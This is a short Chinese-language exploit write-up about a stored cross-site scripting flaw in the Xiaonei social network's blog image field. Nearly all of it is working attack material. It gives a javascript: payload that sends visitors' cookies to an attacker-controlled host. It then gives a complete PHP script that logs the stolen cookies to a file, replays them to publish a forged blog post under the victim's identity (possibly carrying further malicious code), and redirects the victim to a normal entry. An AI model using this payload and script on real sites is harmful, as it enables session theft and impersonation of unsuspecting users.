校内网在发blog时对插入图片过滤不严格，存在xss漏洞

在发blog时将插入图片URL写为如下代码即可触发：

javascript:window.location.href='http://xxxxx/test.php?cookie='+document.cookie

test.php的作用是窃取cookie、伪造阅览者身份发一个blog、跳转到一个正常的日志,代码如下：

<?php
ob_start();
$url = ‘blog.xiaonei.com’;
$cookie=$_GET['cookie'];
$cookie1=$cookie."\r\n\r\n";
fputs(fopen(‘a.txt’,'a+’),$cookie1); //cookie写入 a.txt

//发一条伪造的日志，这条日志里面也可以插入恶意代码
$sock = fsockopen("$url", 80, $errno, $errstr, 30);
if (!$sock) die("$errstr ($errno)\n");
$data = "title=test by fly&body=test by fly&categoryId=0&blogControl=99&passwordProtedted=0&passWord=&blog_pic_id=&pic_path=&activity=&id=&relative_optpe=";

fwrite($sock, "POST http://$url/NewEntry.do HTTP/1.1\r\n");
fwrite($sock, "Accept: */*\r\n");
fwrite($sock, "Referer: http://$url\r\n");
fwrite($sock, "Accept-Language: zh-cn\r\n");
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
fwrite($sock, "User-Agent: Mozilla\r\n");
fwrite($sock, "Host: $url\r\n");
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
fwrite($sock, "Connection: Keep-Alive\r\n");
fwrite($sock, "Cache-Control: no-cache\r\n");
fwrite($sock, "Cookie:".$cookie."\r\n\r\n");
fwrite($sock, $data);

$headers = "";
while ($str = trim(fgets($sock, 4096)))
     $headers .= "$str\n";
echo "\n";
$body = "";
while (!feof($sock))
     $body .= fgets($sock, 4096);

fclose($sock);
//echo $body;

//跳转到一个正常的日志
Header("Location: http://blog.xiaonei.com/GetEntry.do?id=xxxx&owner=xxxxx");
ob_end_flush();

?>